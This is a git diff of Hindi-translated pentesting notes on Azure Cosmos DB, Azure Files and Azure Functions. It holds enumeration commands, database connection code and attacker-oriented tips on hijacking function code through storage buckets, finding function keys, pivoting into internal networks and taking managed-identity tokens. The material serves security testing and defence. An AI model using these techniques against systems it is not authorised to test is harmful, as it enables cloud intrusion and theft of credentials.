एक खाते के भीतर, आप एक या अधिक डेटाबेस बना सकते है, जो कंटेनरों के तार्किक समूह के रूप में कार्य करते हैएक डेटाबेस संसाधन प्रबंधन और उपयोगकर्ता अनुमतियों के लिए एकमा के रूप में कार्य करता है। डेटाबेस या तो अपने कंटेनरों के बीच प्रावधानित थ्रूपुट साझा कर सकत हैं या व्यक्तिगत कंटेनरों को समर्पित थ्रूपुट आवंटित कर सकत है
#### Containers
डेटा भंडारण की मुख्य इकाई कंटेनर है, जो JSON दस्तावेज़ों को रखता है और कुशल क्वेरी के लिए स्वचालित रूप से अनुक्रमित होता है। कंटेनर लचीले ढंग से स्केलेबल होते हैं और विभाजनों में वितरित होते हैं, जो उपयोगकर्ता-परिभाषित विभाजन कुंजी द्वारा निर्धारित होते हैं। विभाजन कुंजी अनुकूल प्रदर्शन और समान डेटा वितरण सुनिश्चित करने के लिए महत्वपूर्ण है। उदाहरण के लिए, एक कंटेनर ग्राहक डेटा को स्टोर कर सकत है, जिसमें "customerId" विभाजन कुंजी के रूप में हो सकत है।
#### कंटेनर
डेटा भंडारण की मुख्य इकाई कंटेनर है, जो JSON दस्तावेज़ों को रखती है और कुशल क्वेरी के लिए स्वचालित रूप से अनुक्रमित होती है। कंटेनर लचीले ढंग से स्केलेबल होते हैं और विभाजनों में वितरित होते हैं, जो उपयोगकर्ता-परिभाषित विभाजन कुंजी द्वारा निर्धारित होते हैं। विभाजन कुंजी अनुकूल प्रदर्शन और समान डेटा वितरण सुनिश्चित करने के लिए महत्वपूर्ण है। उदाहरण के लिए, एक कंटेनर ग्राहक डेटा को संग्रहीत कर सकता है, जिसमें "customerId" विभाजन कुंजी के रूप में हो सकता है।
#### Enumeration
#### एन्यूमरेशन
{% tabs %}
{% tab title="az cli" %}
{% code overflow="wrap" %}
{{#tabs }}
{{#tab name="az cli" }}
```bash
# CosmoDB Account
## List Azure Cosmos DB database accounts.
@@ -65,11 +60,9 @@ az cosmosdb sql trigger list --account-name <AccountName> --container-name <Cont
az cosmosdb sql user-defined-function list --account-name <AccountName> --container-name <ContainerName> --database-name <DatabaseName> --resource-group <ResourceGroupName>
```
{% endcode %}
{% endtab %}
{{#endtab }}
{% tab title="Az PowerShell" %}
{% code overflow="wrap" %}
{{#tab name="Az Powershell" }}
```bash
Get-Command -Module Az.CosmosD
@@ -112,14 +105,12 @@ Get-AzCosmosDBSqlTrigger -ResourceGroupName "<ResourceGroupName>" -AccountName "
# List all user-defined functions (UDFs) in a specific Cosmos DB SQL container.
Get-AzCosmosDBSqlUserDefinedFunction -ResourceGroupName "<ResourceGroupName>" -AccountName "<AccountName>" -DatabaseName "<DatabaseName>" -ContainerName "<ContainerName>"
```
{% endcode %}
{% endtab %}
{% endtabs %}
{{#endtab }}
{{#endtabs }}
#### कनेक्शन
azure-cosmosDB (pip install azure-cosmos) लाइब्रेरी को कनेक्ट करने के लिए आवश्यक है। इसके अतिरिक्त, एंडपॉइंट और कुंजी कनेक्शन बनाने के लिए महत्वपूर्ण घटक हैं।
{% code overflow="wrap" %}
azure-cosmosDB (pip install azure-cosmos) लाइब्रेरी कनेक्ट करने के लिए आवश्यक है। इसके अतिरिक्त, एंडपॉइंट और कुंजी कनेक्शन बनाने के लिए महत्वपूर्ण घटक हैं।
```python
from azure.cosmos import CosmosClient, PartitionKey
@@ -158,11 +149,7 @@ print("All items in the container:")
for item in all_items:
print(item)
```
{% endcode %}
एक और तरीका कनेक्शन स्थापित करने का है **DefaultAzureCredential()** का उपयोग करना। बस उस खाते से लॉगिन करना है (az login) जिसके पास अनुमतियाँ हैं और इसे निष्पादित करना है। इस मामले में एक भूमिका असाइनमेंट किया जाना चाहिए, आवश्यक अनुमतियाँ देने के लिए (अधिक जानकारी के लिए देखें)
{% code overflow="wrap" %}
एक और तरीका कनेक्शन स्थापित करने का है **DefaultAzureCredential()** का उपयोग करना। बस उस खाते से लॉगिन (az login) करना है जिसके पास अनुमतियाँ हैं और इसे निष्पादित करना है। इस मामले में एक भूमिका असाइनमेंट किया जाना चाहिए, आवश्यक अनुमतियाँ देने के लिए (अधिक जानकारी के लिए देखें)
```python
from azure.identity import DefaultAzureCredential
from azure.cosmos import CosmosClient
@@ -187,28 +174,21 @@ item = {
container.create_item(item)
print("Document inserted.")
```
{% endcode %}
### MongoDB
MongoDB NoSQL API एक दस्तावेज़-आधारित API है जो अपने डेटा प्रारूप के रूप में JSON-जैसे BSON (Binary JSON) का उपयोग करता है। यह एक क्वेरी भाषा प्रदान करता है जिसमें समेकन क्षमताएँ होती हैं, जिससे यह संरचित, अर्ध-संरचित, और असंरचित डेटा के साथ काम करने के लिए उपयुक्त होता है। सेवा का एंडपॉइंट आमतौर पर इस प्रारूप का पालन करता है:
{% code overflow="wrap" %}
MongoDB NoSQL API एक दस्तावेज़-आधारित API है जो अपने डेटा प्रारूप के रूप में JSON-जैसे BSON (Binary JSON) का उपयोग करता है। यह समेकन क्षमताओं के साथ एक क्वेरी भाषा प्रदान करता है, जिससे यह संरचित, अर्ध-संरचित, और असंरचित डेटा के साथ काम करने के लिए उपयुक्त है। सेवा का एंडपॉइंट आमतौर पर इस प्रारूप का पालन करता है:
```bash
mongodb://<hostname>:<port>/<database>
```
{% endcode %}
#### Databases
MongoDB में, आप एक या एक से अधिक डेटाबेस एक इंस्टेंस के भीतर बना सकते हैं। प्रत्येक डेटाबेस संग्रहों का एक तार्किक समूह के रूप में कार्य करता है और संसाधन संगठन और प्रबंधन के लिए एक सीमा प्रदान करता है। डेटाबेस डेटा को तार्किक रूप से अलग करने और प्रबंधित करने में मदद करते हैं, जैसे कि विभिन्न अनुप्रयोगों या परियोजनाओं के लिए।
#### डेटाबेस
MongoDB में, आप एक या एक से अधिक डेटाबेस एक उदाहरण के भीतर बना सकते हैं। प्रत्येक डेटाबेस संग्रहों का एक तार्किक समूह के रूप में कार्य करता है और संसाधन संगठन और प्रबंधन के लिए एक सीमा प्रदान करता है। डेटाबेस डेटा को तार्किक रूप से अलग करने और प्रबंधित करने में मदद करते हैं, जैसे कि विभिन्न अनुप्रयोगों या परियोजनाओं के लिए
#### Collections
MongoDB में डेटा संग्रहण की मुख्य इकाई संग्रह है, जो दस्तावेज़ों को रखती है और कुशल क्वेरीिंग और लचीले स्कीमा डिज़ाइन के लिए डिज़ाइन की गई है। संग्रह लचीले ढंग से स्केलेबल होते हैं और वितरित सेटअप में कई नोड्स के बीच उच्च-थ्रूपुट संचालन का समर्थन कर सकते हैं
#### संग्रह
MongoDB में डेटा भंडारण की मूल इकाई संग्रह है, जो दस्तावेज़ों को रखती है और कुशल क्वेरीिंग और लचीले स्कीमा डिज़ाइन के लिए डिज़ाइन की गई है। संग्रह लचीले ढंग से स्केलेबल होते हैं और वितरित सेटअप में कई नोड्स के बीच उच्च-थ्रूपुट संचालन का समर्थन कर सकते हैं।
#### Enumeration
#### गणना
{% tabs %}
{% tab title="az cli" %}
{% code overflow="wrap" %}
{{#tabs }}
{{#tab name="az cli" }}
```bash
# CosmoDB Account
## List Azure Cosmos DB database accounts.
@@ -235,11 +215,9 @@ az cosmosdb mongodb role definition list --account-name <AccountName> --resource
# List all user definitions for MongoDB within an Azure Cosmos DB account
az cosmosdb mongodb user definition list --account-name <AccountName> --resource-group <ResourceGroupName>
```
{% endcode %}
{% endtab %}
{{#endtab }}
{% tab title="Az PowerShell" %}
{% code overflow="wrap" %}
{{#tab name="Az Powershell" }}
```bash
Get-Command -Module Az.CosmosDB
@@ -271,14 +249,12 @@ Get-AzCosmosDBMongoDBDatabaseThroughput -AccountName <account-name> -ResourceGro
Get-AzCosmosDBMongoDBRoleDefinition -AccountName <account-name> -ResourceGroupName <resource-group-name>
```
{% endcode %}
{% endtab %}
{% endtabs %}
{{#endtab }}
{{#endtabs }}
#### कनेक्शन
यहाँ पासवर्ड आप उन्हें कुंजियों के साथ या प्रिवेस्क अनुभाग में वर्णित विधि के साथ पा सकते हैं।
{% code overflow="wrap" %}
```python
from pymongo import MongoClient
@@ -311,30 +287,28 @@ document = {
result = collection.insert_one(document)
print(f"Inserted document with ID: {result.inserted_id}")
```
{% endcode %}
## संदर्भ
* [https://learn.microsoft.com/en-us/azure/cosmos-db/choose-api](https://learn.microsoft.com/en-us/azure/cosmos-db/choose-api)
* [https://learn.microsoft.com/en-us/azure/cosmos-db/](https://learn.microsoft.com/en-us/azure/cosmos-db/)
* [https://learn.microsoft.com/en-us/azure/cosmos-db/introduction](https://learn.microsoft.com/en-us/azure/cosmos-db/introduction)
* [https://learn.microsoft.com/en-us/azure/cosmos-db/nosql/security/how-to-grant-data-plane-role-based-access?tabs=built-in-definition%2Ccsharp&pivots=azure-interface-cli](https://learn.microsoft.com/en-us/azure/cosmos-db/nosql/security/how-to-grant-data-plane-role-based-access?tabs=built-in-definition%2Ccsharp&pivots=azure-interface-cli)
- [https://learn.microsoft.com/en-us/azure/cosmos-db/choose-api](https://learn.microsoft.com/en-us/azure/cosmos-db/choose-api)
- [https://learn.microsoft.com/en-us/azure/cosmos-db/](https://learn.microsoft.com/en-us/azure/cosmos-db/)
- [https://learn.microsoft.com/en-us/azure/cosmos-db/introduction](https://learn.microsoft.com/en-us/azure/cosmos-db/introduction)
- [https://learn.microsoft.com/en-us/azure/cosmos-db/nosql/security/how-to-grant-data-plane-role-based-access?tabs=built-in-definition%2Ccsharp&pivots=azure-interface-cli](https://learn.microsoft.com/en-us/azure/cosmos-db/nosql/security/how-to-grant-data-plane-role-based-access?tabs=built-in-definition%2Ccsharp&pivots=azure-interface-cli)
## विशेषाधिकार वृद्धि
{% content-ref url="../az-privilege-escalation/az-cosmosDB-privesc.md" %}
[az-cosmosDB-privesc.md](../az-privilege-escalation/az-cosmosDB-privesc.md)
{% endcontent-ref %}
{{#ref}}
../az-privilege-escalation/az-cosmosDB-privesc.md
{{#endref}}
## पोस्ट एक्सप्लोइटेशन
{% content-ref url="../az-post-exploitation/az-cosmosDB-post-exploitation.md" %}
[az-cosmosDB-post-exploitation.md](../az-post-exploitation/az-sql-post-exploitation.md)
{% endcontent-ref %}
{{#ref}}
../az-post-exploitation/az-sql-post-exploitation.md
{{#endref}}
## करने के लिए
* यहाँ DB का बाकी हिस्सा, तालिकाएँ, कैसेंड्रा, ग्रेमलिन...
* यहाँ बाकी DB, टेबल, कैसेंड्रा, ग्रेमलिन...
* पोस्ट एक्सप्लोइटेशन "Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/write" && "Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/read" और भूमिका परिभाषाओं पर एक नज़र डालें क्योंकि यहाँ विशेषाधिकार वृद्धि हो सकती है
* पुनर्स्थापनों पर एक नज़र डालें

View File

@@ -4,7 +4,7 @@
## Basic Information
**Azure Files** एक पूरी तरह से प्रबंधित क्लाउड फ़ाइल स्टोरेज सेवा है जो साझा फ़ाइल स्टोरेज प्रदान करती है जिसे मानक **SMB (Server Message Block)** और **NFS (Network File System)** प्रोटोकॉल के माध्यम से एक्सेस किया जा सकता है। हालांकि मुख्य प्रोटोकॉल SMB है, NFS Azure फ़ाइल शेयर Windows के लिए समर्थित नहीं हैं (के अनुसार [**docs**](https://learn.microsoft.com/en-us/azure/storage/files/files-nfs-protocol)) यह आपको अत्यधिक उपलब्ध नेटवर्क फ़ाइल शेयर बनाने की अनुमति देता है जिन्हें कई वर्चुअल मशीनों (VMs) या ऑन-प्रिमाइसेस सिस्टम द्वारा एक साथ एक्सेस किया जा सकता है, जिससे वातावरणों के बीच फ़ाइल साझा करना आसान हो जाता है।
**Azure Files** एक पूरी तरह से प्रबंधित क्लाउड फ़ाइल स्टोरेज सेवा है जो साझा फ़ाइल स्टोरेज प्रदान करती है जिसे मानक **SMB (Server Message Block)** और **NFS (Network File System)** प्रोटोकॉल के माध्यम से एक्सेस किया जा सकता है। हालांकि मुख्य प्रोटोकॉल SMB है, NFS Azure फ़ाइल शेयर Windows के लिए समर्थित नहीं हैं (के अनुसार [**docs**](https://learn.microsoft.com/en-us/azure/storage/files/files-nfs-protocol)). यह आपको अत्यधिक उपलब्ध नेटवर्क फ़ाइल शेयर बनाने की अनुमति देता है जिन्हें कई वर्चुअल मशीनों (VMs) या ऑन-प्रिमाइसेस सिस्टम द्वारा एक साथ एक्सेस किया जा सकता है, जिससे वातावरणों के बीच फ़ाइल साझा करना आसान हो जाता है।
### Access Tiers
@@ -30,8 +30,8 @@
## Enumeration
{{#tabs}}
{{#tab name="az cli"}}
{{#tabs }}
{{#tab name="az" }}
```bash
# Get storage accounts
az storage account list #Get the account name from here
@@ -58,9 +58,9 @@ az storage file list --account-name <name> --share-name <share-name> --snapshot
# Download snapshot/backup
az storage file download-batch -d . --account-name <name> --source <share-name> --snapshot <snapshot-version>
```
{{#endtab}}
{{#endtab }}
{{#tab name="Az PowerShell"}}
{{#tab name="Az Powershell" }}
```bash
Get-AzStorageAccount
@@ -81,8 +81,8 @@ Get-AzStorageShare -Context (Get-AzStorageAccount -ResourceGroupName "<resource-
Get-AzStorageFile -ShareName "<share-name>" -Context (New-AzStorageContext -StorageAccountName "<storage-account-name>" -StorageAccountKey (Get-AzStorageAccountKey -ResourceGroupName "<resource-group-name>" -Name "<storage-account-name>" | Select-Object -ExpandProperty Value) -SnapshotTime "<snapshot-version>")
```
{{#endtab}}
{{#endtabs}}
{{#endtab }}
{{#endtabs }}
> [!NOTE]
> डिफ़ॉल्ट रूप से `az` cli एक खाता कुंजी का उपयोग करेगा एक कुंजी पर हस्ताक्षर करने और क्रिया करने के लिए। Entra ID प्रमुख विशेषाधिकारों का उपयोग करने के लिए `--auth-mode login --enable-file-backup-request-intent` पैरामीटर का उपयोग करें।

View File

@@ -11,92 +11,92 @@
### Different Plans
- **Flex Consumption Plan**: **dynamic, event-driven scaling** के साथ pay-as-you-go मूल्य निर्धारण प्रदान करता है, मांग के आधार पर function उदाहरणों को जोड़ने या हटाने की अनुमति देता है। यह **virtual networking** और **pre-provisioned instances** का समर्थन करता है ताकि ठंडी शुरुआत को कम किया जा सके, जिससे यह **variable workloads** के लिए उपयुक्त है जिन्हें कंटेनर समर्थन की आवश्यकता नहीं है।
- **Traditional Consumption Plan**: डिफ़ॉल्ट serverless विकल्प, जहां आप **केवल तब भुगतान करते हैं जब functions चलते हैं**। यह आने वाली घटनाओं के आधार पर स्वचालित रूप से स्केल करता है और इसमें **cold start optimizations** शामिल हैं, लेकिन यह कंटेनर तैनाती का समर्थन नहीं करता है। **intermittent workloads** के लिए आदर्श जो स्वचालित स्केलिंग की आवश्यकता होती है
- **Premium Plan**: **consistent performance** के लिए डिज़ाइन किया गया है, जिसमें ठंडी शुरुआत को समाप्त करने के लिए **prewarmed workers** होते हैं। यह **extended execution times, virtual networking** प्रदान करता है, और **custom Linux images** का समर्थन करता है, जिससे यह **mission-critical applications** के लिए आदर्श है जिन्हें उच्च प्रदर्शन और उन्नत सुविधाओं की आवश्यकता होती है।
- **Dedicated Plan**: समर्पित वर्चुअल मशीनों पर चलता है जिसमें **predictable billing** होत है और मैनुअल या स्वचालित स्केलिंग का समर्थन करता है। यह एक ही योजना पर कई ऐप चलाने की अनुमति देता है, **compute isolation** प्रदान करता है, और App Service Environments के माध्यम से **secure network access** सुनिश्चित करता है, जिससे यह **long-running applications** के लिए आदर्श है जिन्हें लगातार संसाधन आवंटन की आवश्यकता होती है।
- **Container Apps**: एक प्रबंधित वातावरण में **containerized function apps** को तैनात करने की अनुमति देता है, माइक्रोसर्विसेज और APIs के साथ। यह कस्टम पुस्तकालयों, विरासती ऐप माइग्रेशन, और **GPU processing** का समर्थन करता है, जिससे Kubernetes क्लस्टर प्रबंधन समाप्त हो जाता है। **event-driven, scalable containerized applications** के लिए आदर्श।
- **Flex Consumption Plan**: **डायनामिक, इवेंट-ड्रिवेन स्केलिंग** के साथ पे-एज़-यू-गो मूल्य निर्धारण प्रदान करता है, मांग के आधार पर फ़ंक्शन उदाहरणों को जोड़ने या हटाने की अनुमति देता है। यह **वर्चुअल नेटवर्किंग** और **पूर्व-प्रावधानित उदाहरणों** का समर्थन करता है ताकि ठंडी शुरुआत को कम किया जा सके, जिससे यह **परिवर्तनीय कार्यभार** के लिए उपयुक्त है जिसे कंटेनर समर्थन की आवश्यकता नहीं है।
- **Traditional Consumption Plan**: डिफ़ॉल्ट serverless विकल्प, जहां आप **केवल तब कंप्यूट संसाधनों के लिए भुगतान करते हैं जब फ़ंक्शन चलते हैं**। यह आने वाली घटनाओं के आधार पर स्वचालित रूप से स्केल करता है और इसमें **कोल्ड स्टार्ट ऑप्टिमाइजेशन** शामिल हैं, लेकिन यह कंटेनर तैनाती का समर्थन नहीं करता है। स्वचालित स्केलिंग की आवश्यकता वाले **अवधिक कार्यभार** के लिए आदर्श
- **Premium Plan**: **संगत प्रदर्शन** के लिए डिज़ाइन किया गया है, जिसमें ठंडी शुरुआत को समाप्त करने के लिए **पूर्व-गर्म श्रमिक** होते हैं। यह **विस्तारित निष्पादन समय, वर्चुअल नेटवर्किंग** प्रदान करता है, और **कस्टम लिनक्स छवियों** का समर्थन करता है, जिससे यह **मिशन-क्रिटिकल अनुप्रयोगों** के लिए आदर्श है जिन्हें उच्च प्रदर्शन और उन्नत सुविधाओं की आवश्यकता होती है।
- **Dedicated Plan**: समर्पित वर्चुअल मशीनों पर चलता है जिसमें **पूर्वानुमेय बिलिंग** होत है और मैनुअल या स्वचालित स्केलिंग का समर्थन करता है। यह एक ही योजना पर कई ऐप चलाने की अनुमति देता है, **कंप्यूट आइसोलेशन** प्रदान करता है, और **App Service Environments** के माध्यम से **सुरक्षित नेटवर्क एक्सेस** सुनिश्चित करता है, जिससे यह **लंबे समय तक चलने वाले अनुप्रयोगों** के लिए आदर्श है जिन्हें लगातार संसाधन आवंटन की आवश्यकता होती है।
- **Container Apps**: एक प्रबंधित वातावरण में **कंटेनराइज्ड फ़ंक्शन ऐप्स** को तैनात करने की अनुमति देता है, माइक्रोसर्विसेज और APIs के साथ। यह कस्टम पुस्तकालयों, विरासती ऐप माइग्रेशन, और **GPU प्रोसेसिंग** का समर्थन करता है, जिससे Kubernetes क्लस्टर प्रबंधन समाप्त हो जाता है। **इवेंट-ड्रिवेन, स्केलेबल कंटेनराइज्ड अनुप्रयोगों** के लिए आदर्श।
### **Storage Buckets**
जब एक नया Function App बनाया जाता है जो कंटेनर नहीं ह (लेकिन चलाने के लिए कोड देता है), तो **कोड और अन्य Function से संबंधित डेटा एक Storage account में संग्रहीत किया जाएगा**। डिफ़ॉल्ट रूप से, वेब कंसोल प्रत्येक फ़ंक्शन के लिए कोड संग्रहीत करने के लिए एक नया बनाएगा।
जब एक नया फ़ंक्शन ऐप बनाया जाता है जो कंटेनराइज नहीं होता (लेकिन चलाने के लिए कोड देता है), तो **कोड और अन्य फ़ंक्शन से संबंधित डेटा एक स्टोरेज खाते में संग्रहीत किया जाएगा**। डिफ़ॉल्ट रूप से, वेब कंसोल प्रत्येक फ़ंक्शन के लिए कोड संग्रहीत करने के लिए एक नया बनाएगा।
इसके अलावा, बकेट के अंदर कोड को संशोधित करने पर (जिस विभिन्न प्रारूपों में इसे संग्रहीत किया जा सकता है), **ऐप का कोड नए कोड में संशोधित किया जाएगा और अगली बार जब Function को कॉल किया जाएगा तो इसे निष्पादित किया जाएगा**
इसके अलावा, बकेट के अंदर कोड को संशोधित करने पर (जिस विभिन्न प्रारूपों में इसे संग्रहीत किया जा सकता है), **ऐप का कोड नए कोड में संशोधित किया जाएगा और अगली बार फ़ंक्शन को कॉल करने पर निष्पादित किया जाएगा**
> [!CAUTION]
> यह हमलावरों के दृष्टिकोण से बहुत दिलचस्प है क्योंकि **इस बकेट पर लिखने की पहुंच** एक हमलावर को **कोड से समझौता करने और Function App के अंदर प्रबंधित पहचान को बढ़ाने** की अनुमति देगी।
> यह हमलावरों के दृष्टिकोण से बहुत दिलचस्प है क्योंकि **इस बकेट पर लिखने की पहुंच** एक हमलावर को **कोड से समझौता करने और फ़ंक्शन ऐप के अंदर प्रबंधित पहचान को बढ़ाने** की अनुमति देगी।
>
> इस पर अधिक जानकारी **privilege escalation section** में है।
यह भी संभव है कि **master और functions keys** को स्टोरेज अकाउंट में **`azure-webjobs-secrets`** कंटेनर में **`<app-name>`** फ़ोल्डर के अंदर JSON फ़ाइलों में संग्रहीत किया गया हो।
यह भी संभव है कि **मास्टर और फ़ंक्शन कुंजी** को स्टोरेज खाते में **`azure-webjobs-secrets`** कंटेनर में **`<app-name>`** फ़ोल्डर के अंदर JSON फ़ाइलों में संग्रहीत किया गया हो।
ध्यान दें कि Functions को एक दूरस्थ स्थान पर कोड संग्रहीत करने की अनुमति भी है, बस इसके लिए URL निर्दिष्ट करके।
ध्यान दें कि फ़ंक्शन भी कोड को एक दूरस्थ स्थान पर संग्रहीत करने की अनुमति देते है बस इसके लिए URL निर्दिष्ट करके।
### Networking
HTTP ट्रिगर का उपयोग करते समय:
HTTP ट्रिगर का उपयोग करते हुए:
- यह संभव है कि **इंटरनेट से क फ़ंक्शन को सभी को पहुंच प्रदान करें** बिना किसी प्रमाणीकरण की आवश्यकता के या IAM आधारित पहुंच प्रदान करें। हालांकि, इस पहुंच को प्रतिबंधित करना भी संभव है।
- यह भी संभव है कि **एक आंतरिक नेटवर्क (VPC)** से एक Function App को **पहुंच प्रदान करें या प्रतिबंधित करें**
- यह संभव है कि **इंटरनेट से किसी फ़ंक्शन को सभी को एक्सेस देने** के लिए कोई प्रमाणीकरण की आवश्यकता न हो या IAM आधारित एक्सेस दिया जाए। हालांकि, इस एक्सेस को प्रतिबंधित करना भी संभव है।
- यह भी संभव है कि **एक आंतरिक नेटवर्क (VPC)** से एक फ़ंक्शन ऐप को **एक्सेस दिया जाए या प्रतिबंधित किया जाए**
> [!CAUTION]
> यह हमलावरों के दृष्टिकोण से बहुत दिलचस्प है क्योंकि यह संभव है कि **एक कमजोर Function से आंतरिक नेटवर्क पर पिवट करना**।
> यह हमलावरों के दृष्टिकोण से बहुत दिलचस्प है क्योंकि यह संभव है कि **एक कमजोर फ़ंक्शन से इंटरनेट पर आंतरिक नेटवर्क में पिवट किया जा सके**।
### **Function App Settings & Environment Variables**
यह एक ऐप के अंदर पर्यावरण चर को कॉन्फ़िगर करना संभव है, जिसमें संवेदनशील जानकारी हो सकती है। इसके अलावा, डिफ़ॉल्ट रूप से env चर **`AzureWebJobsStorage`** और **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** (अन्य के बीच) बनाए जाते हैं। ये विशेष रूप से दिलचस्प हैं क्योंकि वे **ऐप्लिकेशन के डेटा को नियंत्रित करने के लिए स्टोरेज अकाउंट की कुंजी को पूर्ण अनुमतियों के साथ** शामिल करते हैं। इन सेटिंग्स की आवश्यकता भी होती है ताकि स्टोरेज अकाउंट से कोड निष्पादित किया जा सके
यह ऐप के अंदर पर्यावरण चर को कॉन्फ़िगर करना संभव है, जिसमें संवेदनशील जानकारी हो सकती है। इसके अलावा, डिफ़ॉल्ट रूप से env चर **`AzureWebJobsStorage`** और **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** (अन्य के बीच) बनाए जाते हैं। ये विशेष रूप से दिलचस्प हैं क्योंकि वे **ऐप्लिकेशन के डेटा को नियंत्रित करने के लिए स्टोरेज खाते की कुंजी को पूर्ण अनुमतियों के साथ** शामिल करते हैं। इन सेटिंग्स की आवश्यकता भी स्टोरेज खाते से कोड निष्पादित करने के लिए होती है
ये env चर या कॉन्फ़िगरेशन पैरामीटर यह भी नियंत्रित करते हैं कि Function कोड को कैसे निष्पादित करता है, उदाहरण के लिए यदि **`WEBSITE_RUN_FROM_PACKAGE`** मौजूद है, तो यह उस URL को इंगित करेगा जहां ऐप्लिकेशन का कोड स्थित है।
ये env चर या कॉन्फ़िगरेशन पैरामीटर यह भी नियंत्रित करते हैं कि फ़ंक्शन कोड को कैसे निष्पादित करता है, उदाहरण के लिए यदि **`WEBSITE_RUN_FROM_PACKAGE`** मौजूद है, तो यह उस URL को इंगित करेगा जहां ऐप्लिकेशन का कोड स्थित है।
### **Function Sandbox**
Linux सैंडबॉक्स के अंदर स्रोत कोड **`/home/site/wwwroot`** में **`function_app.py`** (यदि Python का उपयोग किया गया है) में स्थित है, कोड चलाने वाला उपयोगकर्ता **`app`** है (बिना sudo अनुमतियों के)।
लिनक्स सैंडबॉक्स के अंदर स्रोत कोड **`/home/site/wwwroot`** में फ़ाइल **`function_app.py`** (यदि पायथन का उपयोग किया गया है) में स्थित है, कोड चलाने वाला उपयोगकर्ता **`app`** है (बिना sudo अनुमतियों के)।
एक **Windows** फ़ंक्शन में NodeJS का उपयोग करते समय कोड **`C:\home\site\wwwroot\HttpTrigger1\index.js`** में स्थित था, उपयोगकर्ता नाम **`mawsFnPlaceholder8_f_v4_node_20_x86`** था और यह **groups** का हिस्सा था: `Mandatory Label\High Mandatory Level Label`, `Everyone`, `BUILTIN\Users`, `NT AUTHORITY\INTERACTIVE`, `CONSOLE LOGON`, `NT AUTHORITY\Authenticated Users`, `NT AUTHORITY\This Organization`, `BUILTIN\IIS_IUSRS`, `LOCAL`, `10-30-4-99\Dwas Site Users`
एक **Windows** फ़ंक्शन में NodeJS का उपयोग करते हुए कोड **`C:\home\site\wwwroot\HttpTrigger1\index.js`** में स्थित था, उपयोगकर्ता नाम **`mawsFnPlaceholder8_f_v4_node_20_x86`** था और यह **groups** का हिस्सा था: `Mandatory Label\High Mandatory Level Label`, `Everyone`, `BUILTIN\Users`, `NT AUTHORITY\INTERACTIVE`, `CONSOLE LOGON`, `NT AUTHORITY\Authenticated Users`, `NT AUTHORITY\This Organization`, `BUILTIN\IIS_IUSRS`, `LOCAL`, `10-30-4-99\Dwas Site Users`
### **Managed Identities & Metadata**
जैसे कि [**VMs**](vms/index.html) में, Functions के पास **Managed Identities** के 2 प्रकार हो सकते हैं: System assigned और User assigned
जैसे कि [**VMs**](vms/index.html) में, फ़ंक्शंस के पास **Managed Identities** के 2 प्रकार हो सकते हैं: सिस्टम असाइन और यूजर असाइन
**system assigned** एक प्रबंधित पहचान होगी जिसे **केवल वही फ़ंक्शन** उपयोग कर सकेगा जिसे यह सौंपा गया है, जबकि **user assigned** प्रबंधित पहचानें हैं जिन्हें **कोई अन्य Azure सेवा उपयोग कर सकेगी**
**सिस्टम असाइन** वाला एक प्रबंधित पहचान होगी जिसे **केवल वही फ़ंक्शन** उपयोग कर सकेगा जिसे यह असाइन किया गया है, जबकि **यूजर असाइन** प्रबंधित पहचानें ऐसी प्रबंधित पहचान हैं जिन्हें **कोई अन्य Azure सेवा उपयोग कर सकेगी**
> [!NOTE]
> जैसे कि [**VMs**](vms/index.html) में, Functions के पास **1 system assigned** प्रबंधित पहचान और **कई user assigned** हो सकत हैं, इसलिए यदि आप फ़ंक्शन से समझौता करते हैं तो सभी को खोजने का प्रयास करना हमेशा महत्वपूर्ण होता है क्योंकि आप केवल एक Function से कई प्रबंधित पहचान को बढ़ा सकते हैं।
> जैसे कि [**VMs**](vms/index.html) में, फ़ंक्शंस के पास **1 सिस्टम असाइन** प्रबंधित पहचान और **कई यूजर असाइन** प्रबंधित पहचान हो सकत हैं, इसलिए यदि आप फ़ंक्शन से समझौता करते हैं तो सभी को खोजने का प्रयास करना हमेशा महत्वपूर्ण होता है क्योंकि आप केवल एक फ़ंक्शन से कई प्रबंधित पहचान को बढ़ा सकते हैं।
>
> यदि कोई system managed identity का उपयोग नहीं किया जाता है लेकिन एक या अधिक user managed identities एक फ़ंक्शन से जुड़ी होती हैं, तो डिफ़ॉल्ट रूप से आप कोई टोकन प्राप्त नहीं कर पाएंगे।
> यदि कोई सिस्टम प्रबंधित पहचान का उपयोग नहीं किया गया है लेकिन एक या अधिक यूजर प्रबंधित पहचानें फ़ंक्शन से जुड़ी हैं, तो डिफ़ॉल्ट रूप से आप कोई टोकन प्राप्त नहीं कर पाएंगे।
आप [**PEASS scripts**](https://github.com/peass-ng/PEASS-ng) का उपयोग करके मेटाडेटा एंडपॉइंट से डिफ़ॉल्ट प्रबंधित पहचान से टोकन प्राप्त कर सकते हैं। या आप उन्हें **मैन्युअल रूप से** प्राप्त कर सकते हैं जैसा कि समझाया गया है:
आप [**PEASS स्क्रिप्ट्स**](https://github.com/peass-ng/PEASS-ng) का उपयोग करके मेटाडेटा एंडपॉइंट से डिफ़ॉल्ट प्रबंधित पहचान से टोकन प्राप्त कर सकते हैं। या आप उन्हें **हाथ से** प्राप्त कर सकते हैं जैसा कि समझाया गया है:
{% embed url="https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#azure-vm" %}
ध्यान दें कि आपको यह पता लगाने की आवश्यकता है कि **एक फ़ंक्शन के पास जुड़ी सभी Managed Identities की जांच कैसे करें** क्योंकि यदि आप इसे निर्दिष्ट नहीं करते हैं, तो मेटाडेटा एंडपॉइंट **केवल डिफ़ॉल्ट एक का उपयोग करेगा** (अधिक जानकारी के लिए पिछले लिंक की जांच करें)।
ध्यान दें कि आपको यह पता लगाने की आवश्यकता है कि **एक फ़ंक्शन के पास जुड़ी सभी प्रबंधित पहचान** की जांच करने का एक तरीका है क्योंकि यदि आप इसे निर्दिष्ट नहीं करते हैं, तो मेटाडेटा एंडपॉइंट **केवल डिफ़ॉल्ट एक** का उपयोग करेगा (अधिक जानकारी के लिए पिछले लिंक की जांच करें)।
## Access Keys
> [!NOTE]
